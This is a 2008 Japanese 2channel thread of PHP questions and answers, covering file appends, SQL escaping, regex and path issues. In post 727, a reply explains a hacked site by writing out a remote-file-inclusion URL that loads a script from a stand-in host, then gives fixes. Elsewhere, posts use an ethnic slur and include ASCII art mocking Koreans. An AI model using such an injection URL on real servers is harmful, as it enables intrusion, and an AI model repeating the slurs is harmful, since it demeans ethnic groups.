phpよりも、かなり良い仕事が出来そうだが。
おれ何をしているかというと、昔SEをやっていたが今はシステム営業をやっていて、
自分のサイトを作るためのに個人的にphpをやっていたりする。
0568nobodyさん
2008/08/05(火) 03:36:45ID:???0570nobodyさん
2008/08/05(火) 08:58:09ID:???0574nobodyさん
2008/08/05(火) 09:32:42ID:???0577nobodyさん
2008/08/05(火) 09:47:55ID:???0580nobodyさん
2008/08/05(火) 10:07:34ID:???VB.NETは0からになったはず。
どうせほとんど別言語の体裁を取ってるし、
元々Option Base 0使ってる奴が大多数。
大差ないと思われwww
0581nobodyさん
2008/08/05(火) 10:14:01ID:???と、思ったもんだがな。
0582nobodyさん
2008/08/05(火) 12:59:08ID:???http://ja.wikipedia.org/wiki/%E7%B5%B1%E5%90%88%E9%96%8B%E7%99%BA%E7%92%B0%E5%A2%83
もしかしてphpspot(笑)とか真に受けちゃってる?
0583nobodyさん
2008/08/05(火) 13:06:04ID:???典型的な馬鹿か?
開発するために必要な環境全般をさして開発環境というんだよ
IDEのことだけをさすわけじゃない
当然デバッグのための環境(xampp)も開発環境という
IDE全てにデバッガが含まれてると思ったら大間違い
0585nobodyさん
2008/08/05(火) 13:13:01ID:???馬鹿でも出来るphpだが、それさえも出来ないって救いようがない。
0587nobodyさん
2008/08/05(火) 13:14:21ID:???http://www.rooftopsolutions.nl/article/199
0588nobodyさん
2008/08/05(火) 13:15:37ID:???そのテスト環境も開発環境の1つなのは間違いないが
文字どおり開発するのに必要な環境なわけだからな
xamppとメモ帳だけだって立派な開発環境だ
IDEにだってxamppをパッケージとして含めることはできるわけだし
オールインワンにした場合そのxamppが含まれたIDEに対して
xamppの部分は開発環境でないなんて意味不明なことはいえないだろ
0590nobodyさん
2008/08/05(火) 13:17:21ID:WvP0Kt9JPHPで出来るのかな?
0591nobodyさん
2008/08/05(火) 13:17:35ID:???いっぱしのやつならそんなの気にしない
たとえ添え字が14とかわけわからん数字からはじまっててもな
0592nobodyさん
2008/08/05(火) 13:21:00ID:???配列の添え字なんて、そもそもプログラムで意識しない。
配列が必要なデータはクラス化(ListやMapなど)してしまう。
配列の添え字を意識しなければいけない時点で、
オブジェクト指向が出来ていない証拠だよ。
今まで、そういう指摘が出ないのが不思議。
まだ、php4とか使っているのかよ?それともオブジェクト指向すら知らない?
0594nobodyさん
2008/08/05(火) 13:30:54ID:???配列を返す関数とかも色々あるんですけど、全部コレクションに入れ直すんだろうか
でもその場合でも配列は扱うよね
0595nobodyさん
2008/08/05(火) 13:35:40ID:???使わねーよw
Iteratorとか知らねーのかよw
配列を生で扱うことに何の躊躇もないなんて、可哀想な脳みそ。
0596nobodyさん
2008/08/05(火) 13:37:01ID:???これだから初心者は^^;;;
Web開発するんだからWebサーバなども含めて開発環境に決まってんだろ
必要とあらば各種SDKフレームワークなども含める
使用する統合開発環境(IDE)だけに含まれてるものだけで開発できるとは限らん
結局自分が何を作るかで必要なものが個々に必要になってくるわけ
IDEはその土台に過ぎん
0597nobodyさん
2008/08/05(火) 13:38:52ID:???だいたいOOPとかスレ違いもいいところ
PHPで無理にOOP使う必要はない
0598nobodyさん
2008/08/05(火) 13:39:40ID:???0599nobodyさん
2008/08/05(火) 13:39:49ID:???ここはPHPのスレですよ?
だいたいOOPとかスレ違いもいいところ
PHPで無理にOOP使う必要はない
0600nobodyさん
2008/08/05(火) 13:41:47ID:???0601nobodyさん
2008/08/05(火) 13:53:14ID:???0602nobodyさん
2008/08/05(火) 13:59:33ID:???0604nobodyさん
2008/08/05(火) 14:35:30ID:???0605nobodyさん
2008/08/05(火) 14:53:49ID:???0606nobodyさん
2008/08/05(火) 15:16:09ID:???>>567
>>573
>>582
>>585
>>586
>>592
>>595
ID出なくてもキチガイは目立つから以外にわかるもんだな
0608nobodyさん
2008/08/05(火) 15:37:03ID:???∧_∧ ∧_∧ ∧_∧
( ・∀・) ( ・∀・) ( ・∀・)
⊂ ⊂ ) ( U つ ⊂__へ つ
< < < ) ) ) (_)|
(_(_) (__)_) 彡(__)
0611nobodyさん
2008/08/05(火) 19:24:35ID:???0612nobodyさん
2008/08/05(火) 21:13:40ID:???0613nobodyさん
2008/08/05(火) 21:22:15ID:???0614nobodyさん
2008/08/05(火) 23:00:21ID:8enGip0recho "http://".$_SERVER["SERVER_NAME"].$_SERVER["SCRIPT_NAME"];
で一応取得できるのですが、http://とすると、
SSLページの場合は適さないと思います。
何か良い方法、または関数って無いでしょうか?
0616nobodyさん
2008/08/05(火) 23:14:18ID:???お騒がせしました。
0617nobodyさん
2008/08/06(水) 01:34:58ID:1xe8GdeyここはPHPのスレですよ?
だいたいOOPとかスレ違いもいいところ
PHPで無理にOOP使う必要はない
0618nobodyさん
2008/08/06(水) 01:38:34ID:nCuNNad/あるデータがその配列にないかを検査する
処理を書いています。
in_array()で一個ずつマッチングしているのですが、
これが一番早いやり方でしょうか?
アルゴニズムの勉強をすればもっといい方法があるのかもしれませんが、
なるべく簡単にできるやり方で良い方法があれば教えて頂きたいと思います。
ちなみに、DBは使えない環境です。その代わりメモリーは16GBあります。
0619nobodyさん
2008/08/06(水) 01:40:05ID:???0620nobodyさん
2008/08/06(水) 01:45:20ID:nCuNNad/回答ありがとうございます。
ただ、今日の夕方までが納品なので、それを今からやるのはちょっと辛いです。
現在、パフォーマンステストの段階まで来ていて、
この部分の処理をもう少し早くできればと思っています。
0622nobodyさん
2008/08/06(水) 02:21:18ID:???PHPだけの質問ではないのですが、
Google Picasa内の画像の直URL
例)
ttp://lh3.ggpht.com/Josythecook/RqUmb2H6U0I/AAAAAAAAAAw/A2d0MFM8N6Y/Adriana_Lima89.jpg
IEでもFFでもブラウザに直にURLを入れると表示されるが、
Javascriptで
image = new Image(); image.src = 'http://〜';
と入れても表示されない。※先にブラウザURL直打ちしたあとなら表示される。おそらくキャッシュを使うため
さらにPHPの
fopen('http://〜'); や file_get_contents('http://〜');
でも開けません。
PHPのCURL関数もだめでした。
※FFのLivehttpheadersでFFで画像を表示したときのヘッダー情報を真似てみました。(UA偽装など)
また、上記のいづれもPicasa以外の画像なら表示できるため、根本的にやり方が間違っているということはないと思われます。
上記のことから、Picasa側でどのような制限をかけているか判別できるかた居ますでしょうか?
また、もし可能ならPHP+CURLを使用した取得可能なサンプルを教えいただけますでしょうか?
よろしくお願いいたします。
0623nobodyさん
2008/08/06(水) 02:25:02ID:???1カラムに限定すれば楽だと思うけど。36進数で管理すればファイルサイズも節約できるよん。
0624nobodyさん
2008/08/06(水) 03:10:22ID:???FFってなんだ?
もしかしてFxのことか?
FireFoxって書いてると恥ずかしいから、
今のうちにFirefoxって書く練習しておいたほうがいいよ
fopenで普通に取得できたから、やり方が悪いんじゃないの?
0625nobodyさん
2008/08/06(水) 03:27:37ID:???火狐とかきもい略称もあるよな
支那人かお前はと・・・
と思って中文のFirefox説明を見てきた
Mozilla Firefox(正式縮寫為 Fx,非正式縮寫為FF),俗稱火狐(目前無官方中文名)
意味はなんとなくわかったwwwwww
しっかりFFも非正式ながら使われてるようだwwwww
0626nobodyさん
2008/08/06(水) 03:29:38ID:nCuNNad/レス感謝します。
なんだか、自分が想像していたより、
どんどん話が大きくなってしまって、
怖くなったので、この辺で終わりにしたいと思います。
私としましては、ただ簡単に速く出来ればと思って書いた質問でした。
なので、正直なところとして、それ以上の事はよかったのです。
0627nobodyさん
2008/08/06(水) 14:32:18ID:???0629nobodyさん
2008/08/06(水) 15:51:10ID:???2.fwriteでtxtファイルに書き込みます(php)
3.@に戻ってテキストボックスに入力、txtファイルに書き込み
…と、したかったのですが、
上書きされてしまい、最後に入力したデータしかtxtファイルに保存されません
どう回避すればよろしいでしょうか?
0630nobodyさん
2008/08/06(水) 15:52:09ID:???追記したいなら追記モードでオープンとか。
0631nobodyさん
2008/08/06(水) 15:53:45ID:???0633nobodyさん
2008/08/06(水) 16:19:24ID:???fopen(書き込みたいファイル, 'a')
0634nobodyさん
2008/08/06(水) 16:21:17ID:???int file_put_contents ( string $filename , mixed $data [, int $flags [, resource $context ]] )
flagにFILE_APPENDやれば追記する
0636nobodyさん
2008/08/06(水) 19:39:32ID:???0637nobodyさん
2008/08/06(水) 19:43:19ID:???0638nobodyさん
2008/08/06(水) 21:27:26ID:???質問させて下さい。
前提として以下の様なフルパス指定のソースが大量にあります。
requiere "/export/home/hoge.php"
このソースを変更せず、windowsのeclipse pdt
で動かしたいと思っています。
windowsにはルートディレクトリがないため、
requiereでエラーとなりますが、これを回避する
方法はないでしょうか?
考えているのは、
1、SFU、Cygwinでなんとかならないか
2、requiereのソースを探してきて改造するか
以上、よろしくお願いします。
そのほかPHPクロスプラットホーム開発の
ノウハウがあるサイトがあれば教えてくださいませ。
0639nobodyさん
2008/08/06(水) 21:30:35ID:???0640nobodyさん
2008/08/06(水) 21:34:16ID:???0642nobodyさん
2008/08/06(水) 21:49:58ID:???ヒソヒソ( ゚o゚)ヤダァ(゚o゚ )ネェ、キイタ?( ゚o゚)オクサン(゚o゚ )アラヤダワァ
0643nobodyさん
2008/08/06(水) 21:51:54ID:???何のこっちゃ?
0644nobodyさん
2008/08/06(水) 21:53:45ID:???おっしゃるとおり、windowsにもルートディレクトリがありますね、
ごめんなさい。
「/」のルートディレクトリに訂正です。
0645nobodyさん
2008/08/06(水) 22:03:01ID:???フォルダツリーを作ってやったら出来るんじゃないの?
cドライブにインスコしてたら
c:\export\home
にファイル置くとか
0646nobodyさん
2008/08/06(水) 22:13:06ID:???ありがとうございます。
試しましたが、ダメでした。
が、ボケてただけかもしれないので
もう一度やり直してみます。
0647nobodyさん
2008/08/06(水) 22:17:41ID:???0648638
2008/08/06(水) 22:26:36ID:???>>645さんのおっしゃる通り、正常に動作しました。
失礼致しました。
環境の違いは以下ぐらいです。
正常動作する:PDT v1
動作しなかったと思われる:PDT V1.0.3
スレ汚しごめんなさい。
0649nobodyさん
2008/08/06(水) 23:00:47ID:???0650nobodyさん
2008/08/06(水) 23:03:06ID:???どのように使うのでしょうか?
LINUX、PHP5.2.6、ROOT有レン鯖です。
宜しくお願いします。
0652nobodyさん
2008/08/07(木) 03:54:19ID:???SQLインジェクションを防ぐために、SQL文を生成する際、「escape_string」を使用しています。
しかし、人為的なミスで「escape_string」を使用せずにSQL文を生成していまうことがあります。
そこで、mysqliクラスを完全にくるんだクラス(OrgDBクラス)を1つ作成して、DBに対する操作を
OrgDBクラスを介して行うようにしました。
0654nobodyさん
2008/08/07(木) 03:55:55ID:???class OrgDb {
private $p_oConnect;
private $p_sSql;
public function OrgDb_connnect() {
$this->p_oConnect = new mysqli(…);
if ($this->p_oConnect->connect_errno !== 0) {
return false;
}
return true;
}
public function OrgDb_makeSql($sSql) {
for ($nCnt = 0; $nCnt < 10; $nCnt++) {
$sSql = str_replace("<" . $nCnt . ">", pack("C", $nCnt), $sSql);//☆1ココ
}
$this->p_sSql = $sSql;
}
public function OrgDb_setSql($nIndex, $sData) {
$this->p_sSql = str_replace(pack("C", $nIndex), $this->p_oConnect->escape_string($sData), $this->p_sSql);
}
public function OrgDb_execSql() {
for ($nCnt = 0; $nCnt < 10; $nCnt++) {
if (mb_strpos($this->p_sSql, pack("C", $nCnt)) !== false) {//☆2ココ
return false;
}
}
return $this->p_oConnect->query($this->p_sSql);
}
}
0655nobodyさん
2008/08/07(木) 03:57:31ID:???$oDb = new OrgDb();
$oDb->OrgDb_connnect();
$oDb->OrgDb_makeSql("select * from table where key = '<0>'");
$oDb->OrgDb_setSql(0, "クライアントから送信されたデータ(要サニタイジング文字列)");
$oRes = $oDb->OrgDb_execSql();
0656nobodyさん
2008/08/07(木) 03:58:37ID:???1.静的なSQL文を定義する。この際、動的に設定される部分を"<N>"と記述する。
2.動的に設定される部分を実際のデータで置換する。
3.生成されたSQL文を実行(発行)する。
と、いう流れです。
上記ソースの通り、発行されるSQL文はOrgDbクラス内に閉じ込めてあり、動的に設定される部分は、全て、
OrgDb_setSqlメソッドを介して設定されるので、必ず、サニタイジング(escape_string)されるようになっています。
※やり方はいろいろあると思うのですが、このやりかたしか思いつかなかったです...orz...
〜質問〜
「☆1」部分と「☆2」部分なのですが、クライアントから送信されないデータを
置換対象としたかったので、pack関数を使用して、バリナリデータ(制御コード)としましたが、
この方法で何か問題が発生することはあるでしょうか?
※ちなみに、置換対象の種類は10個と決めています。
長文、本当にすいません;;
0657nobodyさん
2008/08/07(木) 04:00:13ID:???早々のご意見ありがとうございます。
諸事情により、PDOは使えないです。
使えるのであれば、PDOでやりたかったです;;
0658nobodyさん
2008/08/07(木) 04:00:35ID:???0660nobodyさん
2008/08/07(木) 04:09:19ID:???0662nobodyさん
2008/08/07(木) 04:18:12ID:???ご指摘ありがとうございます。
実際のソースには記述しております。
ありがとうございました。
>>661
「PDOを使わずに…」という条件で作成するというのがテーマでして…。
ただ、それだけです;;
※サーバには、PDOもインストールされているので、使用可能です。
0663nobodyさん
2008/08/07(木) 13:17:46ID:???宿題ですか?
0665nobodyさん
2008/08/07(木) 13:28:55ID:???俺もプログラム能力向上にたまにやる
ただ人に聞いてるようじゃ本末転倒
0666652
2008/08/07(木) 14:58:02ID:???宿題ではないです^^;
>>665
ソノ通りです。自分で決めただけです。
おっしゃるとおり、自分で解決しないとダメですよね。
一通り、動作することは確認したのですが、pack部分がどうしても自信がなくて…
そもそもなのですが、今回の問題(質問)は、mysqliやPDOといったことではなくて、pack関数や文字コードについてなのです。
※ここから、憶測と過去の記憶で話をしますので、間違いが大量にあるかと思います。
〜私が認識している「pack関数」の仕様〜
pack関数を使用して、アスキーコードの制御コード部分をバイナリ文字列で作成しています。
<今回のソースでは以下の部分で使用しています>
$sSql = str_replace("<" . $nCnt . ">", pack("C", $nCnt), $sSql);//☆1ココ
$this->p_sSql = str_replace(pack("C", $nIndex), $this->p_oConnect->escape_string($sData), $this->p_sSql);
if (mb_strpos($this->p_sSql, pack("C", $nCnt)) !== false) {//☆2ココ
例えば、pack("C", 1)とした場合、pack関数は、SOH(ヘッディング開始)の制御コードをバイナリ文字列で作成します。
もっと、簡単に言ってしまえば、"01"というバイナリデータを作成します。
0667652
2008/08/07(木) 14:58:37ID:???今回、pack関数を使用して何をしたかったのかというと、
置換対処となる位置へ制御コードを設定する
です。
なぜ、置換対処となる位置へ制御コードを使用したのかというと、記憶の片隅で
制御コードと重なる文字(文字コード)はない
と、あったからです。
具体的にいうと、SJISでは、
あ:82 A0
い:82 A1
:
と、文字コードが定義されています。ここで、(XX部分は任意)
XX 01
もしくは、
01 XX
という文字コードは存在しない。
※SJISの文字コードは、「81 40」から始まるので問題ない。
0668652
2008/08/07(木) 14:59:42ID:???以上のことを踏まえて、
サニタイジング対象となる文字(クライアントからポストされるデータ)には、制御コードが含まれていることはない
という前提で、置換対処となる文字に制御コードを使用することにしました。
1.上記
「〜私が認識している「pack関数」の仕様〜」、「〜私が認識している文字コード(SJIS)について〜」
で、間違っている/誤って解釈している箇所はないでしょうか?
2.今回、置換対象部分に制御コードを使用しましたが、他の値を使用する場合(置換対象部分)どういった値が考えられるでしょうか?
以上、みなさんのお知恵を拝借できればありがたいです。
※説明するのが下手ですよね;;。すいません;;。
0669nobodyさん
2008/08/07(木) 15:14:08ID:???0670nobodyさん
2008/08/07(木) 15:24:17ID:czWOVMJR40分くらい掛かるのですが、これが普通でしょうか?
CPUは3GHzのものを使っているため、
理論的には一秒間に300億件処理できると思っていたのですが、
300億どころか400件ちょっとです。
その差がどこで出るのかちょっと分からないです。
0673nobodyさん
2008/08/07(木) 15:32:14ID:???0674nobodyさん
2008/08/07(木) 15:32:39ID:???すげー理論だなw
むしろその理論の根拠を知りたい
0676nobodyさん
2008/08/07(木) 15:36:55ID:czWOVMJR日経ソフトウェアという雑誌です。
日経が出しているということで信頼できると情報ソースだとは思うのですが。
処理内容についてですが、100万件の文の中に特定の文字列が含まれていないか
検査して、含まれていたら、文字をくっつけたり削除したりする処理です。
最新のCPUを買ってきたので、あまりにも遅すぎて絶句しました。
0682nobodyさん
2008/08/07(木) 15:40:57ID:z7k1C/ZXとりあえずGは10億だよ
細かく説明しても分からないだろうから大雑把に言うけど(大雑把だからある意味間違ってるけど)
一秒間に30億処理できるのは、
CPUに与える命令の処理を数段階に分けたうちの一段分の処理です。
SQLで処理させるときはいろいろな命令を組み合わせているので1クロックではすみません。
0683nobodyさん
2008/08/07(木) 15:45:59ID:???結果の入出力もあるんでしょ?
0684nobodyさん
2008/08/07(木) 15:52:30ID:czWOVMJR処理件数としては>>683さんがおっしゃられるように妥当な線なんでしょうね。
分かりました。お騒がせしました。
0685nobodyさん
2008/08/07(木) 15:59:50ID:???0686本質論
2008/08/07(木) 17:18:34ID:???証券取引の電算化で、場立ちの職員は失業した。
自動改札口の登場で、切符きりの職員も失業した。
ICチップの登場で、数年後にはレジのババも失業する。
そして、自動プログラミング機の登場で、お前等も失業する。
0687nobodyさん
2008/08/07(木) 17:18:47ID:???ガタッ
「はい。立ちました」
0688nobodyさん
2008/08/07(木) 17:27:25ID:???彼はここで質問して恥をかくことで、前に進んでいるわけだから
全然オーケーでしょう。
…そのシステムを明日納品というなら話は別ですが。
0689nobodyさん
2008/08/07(木) 17:47:39ID:???作業効率がぐんと上がる
でも、生きてる間にできるだろうか・・・
0690nobodyさん
2008/08/07(木) 18:10:53ID:jtfieMzI0691nobodyさん
2008/08/07(木) 18:12:17ID:???0692nobodyさん
2008/08/07(木) 18:17:54ID:???0693nobodyさん
2008/08/07(木) 18:26:41ID:???0694nobodyさん
2008/08/07(木) 18:30:28ID:???0695nobodyさん
2008/08/07(木) 18:57:01ID:???> 証券取引の電算化で、場立ちの職員は失業した。
> 自動改札口の登場で、切符きりの職員も失業した。
> ICチップの登場で、数年後にはレジのババも失業する。
> そして、自動プログラミング機の登場で、お前等も失業する。
うーん。失業するようなのは職業の内容によって決まると思うな。
仮に同じ能力を持った人がいたとして、
二人になれば、こなせる作業の量も二倍になるという
ような内容の仕事、つまり作業内容がほぼ同じで並列実行可能な
単純作業は自動化できるから失業するんだよ。
だからこれプログラミングには当てはまらないのね。
0697nobodyさん
2008/08/07(木) 19:02:53ID:???でも、IT化によって増える単純作業もある。
たとえば、有害サイトを監視する人たち。大量の人力を投入している。
結局、仕事の内容が変わるだけ。だから、路頭に迷うのはその変化について行けない人。
つまり適者生存。自助努力で生存はできるんだよ。だから、ワーキングプアなんていう人は単に努力が足りない怠け者。
0698nobodyさん
2008/08/07(木) 19:13:06ID:???0699nobodyさん
2008/08/07(木) 19:29:18ID:???半分の期間で一本つくるとかは無理だけどさ
0700nobodyさん
2008/08/07(木) 19:52:55ID:nCGT/HD5freadなどによる読み込み処理は基本的にアトミックでしょうか?非アトミックでしょうか?
fwriteに関してはマニュアルに書いてあるのですが、読み込み系の関数については書いてなく、またそれに触れた記述のあるサイトも見つからないので困っています。
どなたかわかるかたいたらよろしくお願いします。
0701nobodyさん
2008/08/07(木) 19:54:15ID:???0702nobodyさん
2008/08/07(木) 20:23:41ID:???ソフトってのは数をたくさん作るものじゃないからね。
一つのソフトを分業してつくる。
そしてなにより、同じものは作らないのよ。
0703nobodyさん
2008/08/07(木) 20:26:54ID:0HdcDnNYなに当たり前なこといってんの?w
0704nobodyさん
2008/08/07(木) 20:28:45ID:???\ ∧_∧ ∩ ./∧∧ つ<`∀´∧_∧∧_∧∧∧*`∀´>∧_∧
\ < `∀´>ノ______ /∧∧ |\ ∧ `∀´ >∧_∧∧_∧∧_∧∧∀´>
キム!∧ ∧.\ (入 ⌒\フ /| ./<`Д´>| \ _人_人_从_人ノヽ_人_人_ ∧∧_∧
<`∀´ >_\ ヾヽ /\⌒フ/ | /∧_∧) て`Д´>`∀´>
/ ̄ ̄∪ ∪ /| .\ || ⌒| ̄ ̄ ̄| / ∧∧´ >) キ・ム!! キ・ム!! ( ∧_∧
/∧_∧ホルホルホル \ ∧∧∧∧ ./ `Д´> ) (<`Д´# >
/ < `∀´>_/ \ < ま >∧_∧ ⌒Y⌒Y⌒Y⌒Y⌒Y⌒Y⌒Y⌒.∧∧∧_∧
|| ̄( つ ||/ \< た >∧_∧∧_∧< `∀´ >∩∧_∧<`Д´.<`Д´∧_∧
|| <_○___> || < キ >∧ ∧ <`∀´*∧_∧∧_∧`∀´>O∧_∧∧∧.∧
――――――――――――――― .< ム >―――――――――――――――――――――
∧_∧キムを呼べ! < か > ∧_∧ ∧_∧
~~・━⊂<`∀´#>⊃-、 ∨∨∨ \ < `∀´> <`∀´ > ←キム
/// ノ:: //| ./ はい\ ( ↑キム)_( )
|:::|/< ̄ ヽノ:::::::|::::|/| / ∧_∧キ\∧_∧ ∧_∧  ̄ ̄ ̄/.//|
/ ̄<__> ̄ ̄ ./| | .| /γ(⌒) `∀´ >ム \`∀´> < `∀´> / ┃| |
/ ∧_∧ 三// |__|/ /(YYて)ノ ノ 君 \↑キム ↑\)_/ |__|/
キム→ < ;>はいニダ / \  ̄ ̄ ̄ ̄\ !! \ キム | | ┃. __
0706700
2008/08/07(木) 20:47:58ID:nCGT/HD5ありがとうございます
0707nobodyさん
2008/08/07(木) 20:49:27ID:0HdcDnNYお前のとこは一度に一本しか開発せんのか?
0708nobodyさん
2008/08/07(木) 21:17:08ID:???他のやったほうがいいのかな
0709nobodyさん
2008/08/07(木) 21:18:03ID:???0710700
2008/08/07(木) 22:27:04ID:nCGT/HD5すいません今試してみたら非アトミックみたいですね
ていうか最初から自分で試せばよかったですねすいません
0711nobodyさん
2008/08/07(木) 22:27:23ID:???0712nobodyさん
2008/08/07(木) 23:19:09ID:???0713nobodyさん
2008/08/07(木) 23:42:16ID:???0714nobodyさん
2008/08/08(金) 00:03:37ID:LL9yeWvg0716714
2008/08/08(金) 01:06:33ID:BmBMQdVohttp://creatr.cc/creatr/
先ほどは携帯からで情報量が少なくすみませんでした。
上記URLのようなスクリプトを作成するにはどのようにすればよいでしょうか?
GDやImageMagicというようなものを使えばできますか?
また、できるならば処理の流れや参考になるサイトなどを教えて下さい。
お願いします。
PHP
0717nobodyさん
2008/08/08(金) 01:45:54ID:???http://jp.php.net/gd
http://jp2.php.net/imagick
http://pecl.php.net/package/imagick
0718nobodyさん
2008/08/08(金) 01:46:15ID:???処理の流れとしてはsubmitしたときにセッションIDを割り付けてユニークなURLをつくり
JavaScriptのXMLHttpRequestでセッションIDを投げる。
受けるほうはXMLHttpRequestでlistenしなくてもimgタグのsrcを変更すればすむな。
0720nobodyさん
2008/08/08(金) 15:00:01ID:???0721nobodyさん
2008/08/08(金) 15:56:19ID:???拡張子を含んだ文字列であり、空白や<br>が来るまでを抽出したいのですが
その拡張子が不定なため、
"files_[A-Za-z]+\..+ "など試しています。
しかしこの場合は空白も持っていかれてしまい結果がくるってしまいます。
空白や<br>特定の文字を抽出し、しかし空白や<br>はパターンにハマらないようにするには
どのようにしたらよいでしょうか。
0722nobodyさん
2008/08/08(金) 15:57:09ID:5aObnylFIDをだし忘れました>721です
0723nobodyさん
2008/08/08(金) 16:26:17ID:EUK3hcbO拡張子という事を考えると締めの部分を
\.[0-9A-Za-z]+
とすればでうまく出来そうですね
失礼しました
0724nobodyさん
2008/08/08(金) 21:06:31ID:vetvuCDPのようにパラメータもたせて
<?php
$saba = $_GET[saba];
if($saba == ""){
$saba = 1;
}
switch ($saba){
case 1; $file = "PHP"; break;
case 2; $file = "RERL"; break;
}
html部分
include("$file.php");
<img scr="$file.gif">
html部分
?>
のようにテンプレ表示させるものを組みました。
脆弱性があったらしくサーバを不正利用されてしまいました。
自分で考えてみて
・switchにdefaultをいれなかった
・一部にパーミッションの設定を忘れた(これは直しました)
・.htaccessでindexなしはエラーになるようにしてるのでindex.htmlを作らなかった
など思いついたのですが、自分で気づいていないだけで悪い部分があるのでしょうか?
0725nobodyさん
2008/08/08(金) 21:40:42ID:???詳しく
0726nobodyさん
2008/08/08(金) 21:44:20ID:vetvuCDPいつの間にやら変なファイルがアップされてました。(自分のファイルではありません)
ちなみにファイルアップロード機能はつけてません。
0727nobodyさん
2008/08/08(金) 22:18:36ID:???外してるかもしれないけど、
>・switchにdefaultをいれなかった
register_globalsがonで
allow_url_opnもonだと
やられちゃうね
http://www.2ch.net/2ch.php?saba=3&file=http://www.example.com/crack-php-script.txt
とかで任意のスクリプトが>>724のサーバー上で実行できる
switch文のdefaultは当然書くとして、
register_globalsはoffに、
includeしてるファイルは動的なコンテンツ?
静的な(ただのhtmlファイル)にして
echo file_get_contents("$file.html");
に出来ないのかな?
0728nobodyさん
2008/08/08(金) 22:44:37ID:???書き忘れていました(すみません)がレンタルサーバなのでiniファイルの確認ができません。
defaultを付け加えるのとecho file_get_contents("$file.html")で作り直して
register_globalsについては問い合わせてみます。
ありがとうございました。
0730nobodyさん
2008/08/08(金) 22:51:05ID:4kmu6RVlサーバー側で処理している際に進捗状況を表示させるサイトがありますが、
あれって、phpでどうやるのでしょうか?
画面が変わらずに進捗バーだけが変わる処理って、
設計すら想像ができないのですが、
キーワードだけでもいいので、教えて頂けませんか?
0731nobodyさん
2008/08/08(金) 22:51:23ID:???250-localhost
250-PIPELINING
250 8BITMIME
なんて返ってくると思います。
ストリームを開いた後fgets()を2回実行すれば2回目で「250-PIPELINING」が取れるかと思いきや、
反応が返ってきません。(1行目は返ってくる)
どうやれば2行目を取得できるのでしょうか。
0732700
2008/08/08(金) 22:51:35ID:+1/Xusuf今度は書き込みに関して、書き込むデータのサイズが1バイトである場合にはアトミックであることが保障されますか?
アトミックでないことを確認するのは簡単なんですが、アトミックであることを確認するのは難しく困っております。
どなたかわかるかたよろしくお願いします。
0734nobodyさん
2008/08/08(金) 23:57:15ID:fWWc32nmデータベースプログラムを書いています。
ph_connect関数を使用してPostgreSQLサーバに接続を行っていますが、
接続に成功 or 失敗したかの戻り値が返却されません。
原因がわかりませんので教えてください。
開発環境は以下の通りです。
■linux
■Apache2.2.8
■PostgreSQL8
■PHP5
0735nobodyさん
2008/08/08(金) 23:59:58ID:???0737nobodyさん
2008/08/09(土) 00:01:42ID:I6AK6Cojデータベースプログラムを書いています。
ph_connect関数を使用してPostgreSQLサーバに接続を行っていますが、
接続に成功 or 失敗したかの戻り値が返却されません。
原因がわかりませんので教えてください。
開発環境は以下の通りです。
■linux
■Apache2.2.8
■PostgreSQL8
■PHP5
0738nobodyさん
2008/08/09(土) 05:37:49ID:???課長、部長は要らないんですよ。
天才的なエンジニアが一人いて、
それを補佐する秘書役が数人要ればいいんです。
いすに座って、前時代的な価値観で決済する課長や部長に何の価値がありますか?
0739nobodyさん
2008/08/09(土) 07:16:36ID:???0740nobodyさん
2008/08/09(土) 07:32:00ID:???お前馬鹿だなw
堀江も元々はエンジニアだったんだよ。
途中から、お金に目がくらんで買収の道に進んじゃったが。
0741nobodyさん
2008/08/09(土) 08:30:24ID:???堀江は経営者であって技術者ではない
元々って経歴も調べずに適当なことをいうな
東大在学中にベンチャー起業して中退したんだろ
東大に入ったのも人脈を作るためだけ(テレビでそう語ってる)
仮に堀江がエンジニアだったとしてもエンジニア時代に秘書とかつくわけなかろう
0742nobodyさん
2008/08/09(土) 08:46:05ID:CO+6pVsH文字数制限最大10文字でフォーム入力を受け付けて、sqlでのカラムの最大文字数も
10文字を設定しているとき、「"12345678"」という入力値を入れられた場合、
クエリ直前でaddslashes()したら実際の送信値は\"123456789\"となりSQL側での
文字数制限はオーバーしてしまいエラーになります。
この問題はどうクリアしたらいいんでしょう?
送信前の文字数チェックの段階ではSQLでの文字数制限の2倍まで許可すればいいんでしょうか?
0743nobodyさん
2008/08/09(土) 08:55:30ID:???カラムのサイズを大きくするなり、
POSTされてきたデータを正しく処理してから、
格納すれば良いだけの話。
0744nobodyさん
2008/08/09(土) 08:55:52ID:???0745nobodyさん
2008/08/09(土) 12:44:04ID:???これだから馬鹿は・・・ペラの資料で読んだことが全てだとでも?
実際エッジ時代の堀江は技術者でもあったんだよ。
てゆーか弱小ベンチャーに専任技術者なんているわけないだろ。
人なんていないんだから、社長だからって経営だけしてりゃいいってもんじゃないんだよ。
営業やら開発やら、果ては使いっぱにやらせるようなことまで全部やるんだよ。
0746nobodyさん
2008/08/09(土) 13:07:01ID:???ベンチャーといっても1人でやるわけないだろ。
兄弟でやっている会社で兄は営業、弟は開発っていうところも知っている。
本当に全部やるのは個人でやっているやつだけ。
妄想を語るのは構わないがスレ違いなのに気づいてくれ。
0747nobodyさん
2008/08/09(土) 13:40:42ID:???0749nobodyさん
2008/08/09(土) 13:59:22ID:???0750nobodyさん
2008/08/09(土) 16:18:34ID:dbZpQNfP勝手に作られてしまいました。
アンインストールしてもこれらのディレクトリとファイルがのこってしまってるのですが削除するには
どうすればいいのでしょうか?
話によるとPHPスクリプトなどで削除するしかないらしいとのことですが、こうしたディレクトリとファイルを
削除するスクリプトなどがあるようでしたた教えて頂けませんか?
0752nobodyさん
2008/08/09(土) 17:03:18ID:???rmdir
unlink
PHP関数を知りたいんじゃなくて制作依頼なら、ここは自分で作りたい人のスレなのでどこか別スレへ
0753nobodyさん
2008/08/09(土) 17:47:25ID:???どうもありがとうございます。
適当に↓のようにやったらできました。
$files = glob( "dir/*" );
foreach( $files as $file ){
unlink($file);
}
rmdir( "dir" );
0754nobodyさん
2008/08/09(土) 18:21:46ID:q0bTOCvY勝手に作られてしまいました。
ファイルを削除するPHPスクリプトを使って削除しましたが、
あるPHPスクリプトで作ったファイルの所有者がapacheになるってことは
同じサーバの別の人のPHPスクリプトが作ったファイルの所有権もapacheってことですよね?
ファイルを削除するPHPスクリプトを使って自分のファイルを削除しましたが、
パスを変えれば、他人のスクリプトも削除できるってことじゃないですか?
0755nobodyさん
2008/08/09(土) 18:22:51ID:???0756nobodyさん
2008/08/09(土) 19:00:16ID:q0bTOCvYでも他人がやるかもしれませんよね?
0757nobodyさん
